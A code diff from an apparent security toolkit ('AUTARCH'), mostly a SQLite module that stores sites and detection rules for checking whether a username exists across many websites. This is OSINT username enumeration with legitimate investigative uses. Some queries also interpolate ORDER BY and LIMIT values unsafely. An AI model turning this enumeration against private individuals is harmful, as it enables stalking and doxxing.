include_examples: Include usage examples
include_notes: Include additional notes
Returns:
Formatted help string
"""
info = get_setting_info(name)
if not info:
return f" {Colors.YELLOW}No help available for '{name}'{Colors.RESET}"
lines = []
lines.append(f" {Colors.BOLD}{Colors.WHITE}{name.upper()}{Colors.RESET}")
lines.append(f" {info['description']}")
if info.get('input_type'):
lines.append(f" {Colors.DIM}Type: {info['input_type']}{Colors.RESET}")
if info.get('default'):
lines.append(f" {Colors.DIM}Default: {info['default']}{Colors.RESET}")
if include_examples and info.get('examples'):
lines.append(f" {Colors.DIM}Examples: {', '.join(info['examples'])}{Colors.RESET}")
if include_notes and info.get('notes'):
lines.append(f" {Colors.DIM}Note: {info['notes']}{Colors.RESET}")
return '\n'.join(lines)
def validate_setting_value(name: str, value: str) -> tuple:
"""Validate a setting value against its type.
Args:
name: Setting name
value: Value to validate
Returns:
Tuple of (is_valid, error_message)
"""
info = get_setting_info(name)
if not info:
return True, "" # Unknown settings pass validation
input_type = info.get('input_type', 'string')
if input_type == 'port':
try:
port = int(value)
if 0 <= port <= 65535:
return True, ""
return False, "Port must be between 0 and 65535"
except ValueError:
return False, "Port must be a number"
elif input_type == 'ip':
# Allow file:// paths for batch targeting
if value.startswith('file://'):
return True, ""
# Basic IPv4 validation
import re
if re.match(r'^(\d{1,3}\.){3}\d{1,3}$', value):
parts = value.split('.')
if all(0 <= int(p) <= 255 for p in parts):
return True, ""
return False, "Invalid IP address octets"
# IPv6 - basic check
if ':' in value:
return True, ""
return False, "Expected IPv4 address, IPv6 address, or file:// path"
elif input_type == 'boolean':
if value.lower() in ('true', 'false', '1', '0', 'yes', 'no'):
return True, ""
return False, "Expected true/false"
elif input_type == 'integer':
try:
int(value)
return True, ""
except ValueError:
return False, "Expected an integer"
return True, ""

712
core/sites_db.py Normal file
View File

@ -0,0 +1,712 @@
"""
AUTARCH Sites Database Module
Unified username enumeration database from multiple OSINT sources
Database: dh_sites.db - Master database with detection patterns
"""
import os
import json
import sqlite3
import threading
from pathlib import Path
from typing import Optional, List, Dict, Any, Tuple
from datetime import datetime
from .banner import Colors
from .config import get_config
class SitesDatabase:
"""Unified OSINT sites database with SQLite storage."""
# Default database is dh_sites.db (the new categorized database with detection fields)
DEFAULT_DB = "dh_sites.db"
# Detection method mapping
DETECTION_METHODS = {
'status_code': 'status',
'message': 'content',
'response_url': 'redirect',
'redirection': 'redirect',
}
def __init__(self, db_path: str = None):
"""Initialize sites database.
Args:
db_path: Path to SQLite database. Defaults to data/sites/dh_sites.db
"""
if db_path is None:
from core.paths import get_data_dir
self.data_dir = get_data_dir() / "sites"
self.db_path = self.data_dir / self.DEFAULT_DB
else:
self.db_path = Path(db_path)
self.data_dir = self.db_path.parent
self.data_dir.mkdir(parents=True, exist_ok=True)
self._conn = None
self._lock = threading.Lock()
def _get_connection(self) -> sqlite3.Connection:
"""Get thread-safe database connection."""
if self._conn is None:
self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False)
self._conn.row_factory = sqlite3.Row
return self._conn
def get_stats(self) -> Dict[str, Any]:
"""Get database statistics."""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
stats = {
'db_path': str(self.db_path),
'db_size_mb': round(self.db_path.stat().st_size / 1024 / 1024, 2) if self.db_path.exists() else 0,
'total_sites': 0,
'enabled_sites': 0,
'nsfw_sites': 0,
'with_detection': 0,
'by_source': {},
'by_category': {},
'by_error_type': {},
}
try:
cursor.execute("SELECT COUNT(*) FROM sites")
stats['total_sites'] = cursor.fetchone()[0]
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1")
stats['enabled_sites'] = cursor.fetchone()[0]
cursor.execute("SELECT COUNT(*) FROM sites WHERE nsfw = 1")
stats['nsfw_sites'] = cursor.fetchone()[0]
cursor.execute("SELECT COUNT(*) FROM sites WHERE error_type IS NOT NULL")
stats['with_detection'] = cursor.fetchone()[0]
cursor.execute("SELECT source, COUNT(*) FROM sites GROUP BY source ORDER BY COUNT(*) DESC")
stats['by_source'] = {row[0]: row[1] for row in cursor.fetchall()}
cursor.execute("SELECT category, COUNT(*) FROM sites GROUP BY category ORDER BY COUNT(*) DESC")
stats['by_category'] = {row[0]: row[1] for row in cursor.fetchall()}
cursor.execute("SELECT error_type, COUNT(*) FROM sites WHERE error_type IS NOT NULL GROUP BY error_type ORDER BY COUNT(*) DESC")
stats['by_error_type'] = {row[0]: row[1] for row in cursor.fetchall()}
except sqlite3.Error:
pass
return stats
# =========================================================================
# QUERY METHODS
# =========================================================================
def get_sites(
self,
category: str = None,
include_nsfw: bool = False,
enabled_only: bool = True,
source: str = None,
limit: int = None,
order_by: str = 'name'
) -> List[Dict]:
"""Get sites from database.
Args:
category: Filter by category.
include_nsfw: Include NSFW sites.
enabled_only: Only return enabled sites.
source: Filter by source.
limit: Maximum number of results.
order_by: 'name' or 'category'.
Returns:
List of site dictionaries.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
query = "SELECT * FROM sites WHERE 1=1"
params = []
if category:
query += " AND category = ?"
params.append(category)
if not include_nsfw:
query += " AND nsfw = 0"
if enabled_only:
query += " AND enabled = 1"
if source:
query += " AND source = ?"
params.append(source)
query += f" ORDER BY {order_by} COLLATE NOCASE ASC"
if limit:
query += f" LIMIT {limit}"
cursor.execute(query, params)
rows = cursor.fetchall()
return [dict(row) for row in rows]
def get_site(self, name: str) -> Optional[Dict]:
"""Get a specific site by name.
Args:
name: Site name.
Returns:
Site dictionary or None.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
cursor.execute("SELECT * FROM sites WHERE name = ? COLLATE NOCASE", (name,))
row = cursor.fetchone()
return dict(row) if row else None
def search_sites(self, query: str, include_nsfw: bool = False, limit: int = 100) -> List[Dict]:
"""Search sites by name.
Args:
query: Search query.
include_nsfw: Include NSFW sites.
limit: Maximum results.
Returns:
List of matching sites.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
sql = "SELECT * FROM sites WHERE name LIKE ? AND enabled = 1"
params = [f"%{query}%"]
if not include_nsfw:
sql += " AND nsfw = 0"
sql += f" ORDER BY name COLLATE NOCASE ASC LIMIT {limit}"
cursor.execute(sql, params)
return [dict(row) for row in cursor.fetchall()]
def get_categories(self) -> List[Tuple[str, int]]:
"""Get all categories with site counts.
Returns:
List of (category, count) tuples.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
cursor.execute("""
SELECT category, COUNT(*) as count
FROM sites
WHERE enabled = 1
GROUP BY category
ORDER BY count DESC
""")
return [(row[0], row[1]) for row in cursor.fetchall()]
def get_sites_for_scan(
self,
categories: List[str] = None,
include_nsfw: bool = False,
max_sites: int = 500,
sort_alphabetically: bool = True
) -> List[Dict]:
"""Get sites optimized for username scanning with detection patterns.
Args:
categories: List of categories to include.
include_nsfw: Include NSFW sites.
max_sites: Maximum number of sites.
sort_alphabetically: Sort by name (True) or by category (False).
Returns:
List of sites ready for scanning with detection info.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
query = """SELECT name, url_template, category, source, nsfw,
error_type, error_code, error_string, match_code, match_string
FROM sites WHERE enabled = 1"""
params = []
if categories:
placeholders = ','.join('?' * len(categories))
query += f" AND category IN ({placeholders})"
params.extend(categories)
if not include_nsfw:
query += " AND nsfw = 0"
# Sort order
if sort_alphabetically:
query += " ORDER BY name COLLATE NOCASE ASC"
else:
query += " ORDER BY category ASC, name COLLATE NOCASE ASC"
query += f" LIMIT {max_sites}"
cursor.execute(query, params)
rows = cursor.fetchall()
# Format for scanning with detection info
sites = []
for row in rows:
name, url, category, source, nsfw, error_type, error_code, error_string, match_code, match_string = row
# Map error_type to detection method
method = self.DETECTION_METHODS.get(error_type, 'status') if error_type else 'status'
sites.append({
'name': name,
'url': url,
'category': category,
'source': source,
'nsfw': bool(nsfw),
# Detection fields
'method': method,
'error_type': error_type,
'error_code': error_code, # HTTP code when NOT found (e.g., 404)
'error_string': error_string, # String when NOT found
'match_code': match_code, # HTTP code when found (e.g., 200)
'match_string': match_string, # String when found
})
return sites
def get_site_by_url(self, url_template: str) -> Optional[Dict]:
"""Get a site by its URL template.
Args:
url_template: URL template with {} placeholder.
Returns:
Site dictionary or None.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
cursor.execute("SELECT * FROM sites WHERE url_template = ?", (url_template,))
row = cursor.fetchone()
return dict(row) if row else None
def toggle_site(self, name: str, enabled: bool) -> bool:
"""Enable or disable a site.
Args:
name: Site name.
enabled: Enable (True) or disable (False).
Returns:
True if successful.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
cursor.execute(
"UPDATE sites SET enabled = ? WHERE name = ? COLLATE NOCASE",
(1 if enabled else 0, name)
)
conn.commit()
return cursor.rowcount > 0
def add_site(
self,
name: str,
url_template: str,
category: str = 'other',
source: str = 'custom',
nsfw: bool = False,
error_type: str = 'status_code',
error_code: int = None,
error_string: str = None,
match_code: int = None,
match_string: str = None,
) -> bool:
"""Add a custom site to the database.
Args:
name: Site name.
url_template: URL with {} placeholder for username.
category: Site category.
source: Source identifier.
nsfw: Whether site is NSFW.
error_type: Detection type (status_code, message, etc).
error_code: HTTP status when user NOT found.
error_string: String when user NOT found.
match_code: HTTP status when user found.
match_string: String when user found.
Returns:
True if successful.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
try:
cursor.execute("""
INSERT OR REPLACE INTO sites
(name, url_template, category, source, nsfw, enabled,
error_type, error_code, error_string, match_code, match_string)
VALUES (?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?)
""", (
name,
url_template,
category,
source,
1 if nsfw else 0,
error_type,
error_code,
error_string,
match_code,
match_string,
))
conn.commit()
return True
except Exception:
return False
def update_detection(
self,
name: str,
error_type: str = None,
error_code: int = None,
error_string: str = None,
match_code: int = None,
match_string: str = None,
) -> bool:
"""Update detection settings for a site.
Args:
name: Site name.
error_type: Detection type.
error_code: HTTP status when NOT found.
error_string: String when NOT found.
match_code: HTTP status when found.
match_string: String when found.
Returns:
True if successful.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
updates = []
params = []
if error_type is not None:
updates.append("error_type = ?")
params.append(error_type)
if error_code is not None:
updates.append("error_code = ?")
params.append(error_code)
if error_string is not None:
updates.append("error_string = ?")
params.append(error_string)
if match_code is not None:
updates.append("match_code = ?")
params.append(match_code)
if match_string is not None:
updates.append("match_string = ?")
params.append(match_string)
if not updates:
return False
params.append(name)
query = f"UPDATE sites SET {', '.join(updates)} WHERE name = ? COLLATE NOCASE"
cursor.execute(query, params)
conn.commit()
return cursor.rowcount > 0
def get_sites_without_detection(self, limit: int = 100) -> List[Dict]:
"""Get sites that don't have detection patterns configured.
Args:
limit: Maximum results.
Returns:
List of sites without detection info.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
cursor.execute("""
SELECT * FROM sites
WHERE enabled = 1
AND (error_string IS NULL OR error_string = '')
AND (match_string IS NULL OR match_string = '')
ORDER BY name COLLATE NOCASE ASC
LIMIT ?
""", (limit,))
return [dict(row) for row in cursor.fetchall()]
def get_detection_coverage(self) -> Dict[str, Any]:
"""Get statistics on detection pattern coverage.
Returns:
Dictionary with coverage statistics.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
stats = {}
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1")
total = cursor.fetchone()[0]
stats['total_enabled'] = total
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_type IS NOT NULL")
stats['with_error_type'] = cursor.fetchone()[0]
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_string IS NOT NULL AND error_string != ''")
stats['with_error_string'] = cursor.fetchone()[0]
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND match_string IS NOT NULL AND match_string != ''")
stats['with_match_string'] = cursor.fetchone()[0]
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND error_code IS NOT NULL")
stats['with_error_code'] = cursor.fetchone()[0]
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 1 AND match_code IS NOT NULL")
stats['with_match_code'] = cursor.fetchone()[0]
# Calculate percentages
if total > 0:
stats['pct_error_type'] = round(stats['with_error_type'] * 100 / total, 1)
stats['pct_error_string'] = round(stats['with_error_string'] * 100 / total, 1)
stats['pct_match_string'] = round(stats['with_match_string'] * 100 / total, 1)
return stats
def get_disabled_count(self) -> int:
"""Get count of disabled sites."""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
cursor.execute("SELECT COUNT(*) FROM sites WHERE enabled = 0")
return cursor.fetchone()[0]
def enable_all_sites(self) -> int:
"""Re-enable all disabled sites."""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
cursor.execute("UPDATE sites SET enabled = 1 WHERE enabled = 0")
count = cursor.rowcount
conn.commit()
return count
def disable_category(self, category: str) -> int:
"""Disable all sites in a category.
Args:
category: Category to disable.
Returns:
Number of sites disabled.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
cursor.execute("UPDATE sites SET enabled = 0 WHERE category = ? AND enabled = 1", (category,))
count = cursor.rowcount
conn.commit()
return count
def enable_category(self, category: str) -> int:
"""Enable all sites in a category.
Args:
category: Category to enable.
Returns:
Number of sites enabled.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
cursor.execute("UPDATE sites SET enabled = 1 WHERE category = ? AND enabled = 0", (category,))
count = cursor.rowcount
conn.commit()
return count
def load_from_json(self, json_path: str = None) -> Dict[str, int]:
"""Load/reload sites from the master dh.json file.
Args:
json_path: Path to JSON file. Defaults to data/sites/dh.json
Returns:
Statistics dict with import counts.
"""
if json_path is None:
json_path = self.data_dir / "dh.json"
else:
json_path = Path(json_path)
stats = {'total': 0, 'new': 0, 'updated': 0, 'errors': 0}
if not json_path.exists():
print(f"{Colors.RED}[X] JSON file not found: {json_path}{Colors.RESET}")
return stats
print(f"{Colors.CYAN}[*] Loading sites from {json_path}...{Colors.RESET}")
try:
with open(json_path, 'r') as f:
data = json.load(f)
sites = data.get('sites', [])
stats['total'] = len(sites)
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
for site in sites:
try:
cursor.execute("""
INSERT OR REPLACE INTO sites
(name, url_template, category, source, nsfw, enabled,
error_type, error_code, error_string, match_code, match_string)
VALUES (?, ?, ?, ?, ?, 1, ?, ?, ?, ?, ?)
""", (
site['name'],
site['url'],
site.get('category', 'other'),
site.get('source', 'dh'),
1 if site.get('nsfw') else 0,
site.get('error_type'),
site.get('error_code'),
site.get('error_string'),
site.get('match_code'),
site.get('match_string'),
))
stats['new'] += 1
except Exception as e:
stats['errors'] += 1
conn.commit()
print(f"{Colors.GREEN}[+] Loaded {stats['new']} sites from JSON{Colors.RESET}")
except Exception as e:
print(f"{Colors.RED}[X] Error loading JSON: {e}{Colors.RESET}")
return stats
def export_to_json(self, json_path: str = None) -> bool:
"""Export database to JSON format.
Args:
json_path: Output path. Defaults to data/sites/dh_export.json
Returns:
True if successful.
"""
if json_path is None:
json_path = self.data_dir / "dh_export.json"
else:
json_path = Path(json_path)
try:
sites = self.get_sites(enabled_only=False, include_nsfw=True)
# Get category and source stats
stats = self.get_stats()
export_data = {
"project": "darkHal Security Group - AUTARCH",
"version": "1.1",
"description": "Exported sites database with detection patterns",
"total_sites": len(sites),
"stats": {
"by_category": stats['by_category'],
"by_source": stats['by_source'],
"by_error_type": stats['by_error_type'],
},
"sites": []
}
for site in sites:
site_entry = {
"name": site['name'],
"url": site['url_template'],
"category": site['category'],
"source": site['source'],
"nsfw": bool(site['nsfw']),
"enabled": bool(site['enabled']),
}
# Add detection fields if present
if site.get('error_type'):
site_entry['error_type'] = site['error_type']
if site.get('error_code'):
site_entry['error_code'] = site['error_code']
if site.get('error_string'):
site_entry['error_string'] = site['error_string']
if site.get('match_code'):
site_entry['match_code'] = site['match_code']
if site.get('match_string'):
site_entry['match_string'] = site['match_string']
export_data['sites'].append(site_entry)
with open(json_path, 'w') as f:
json.dump(export_data, f, indent=2)
print(f"{Colors.GREEN}[+] Exported {len(sites)} sites to {json_path}{Colors.RESET}")
return True
except Exception as e:
print(f"{Colors.RED}[X] Export error: {e}{Colors.RESET}")
return False
def close(self):
"""Close database connection."""
if self._conn:
self._conn.close()
self._conn = None
# Global instance
_sites_db: Optional[SitesDatabase] = None
def get_sites_db() -> SitesDatabase:
"""Get the global sites database instance."""
global _sites_db
if _sites_db is None:
_sites_db = SitesDatabase()
return _sites_db

Some files were not shown because too many files have changed in this diff Show More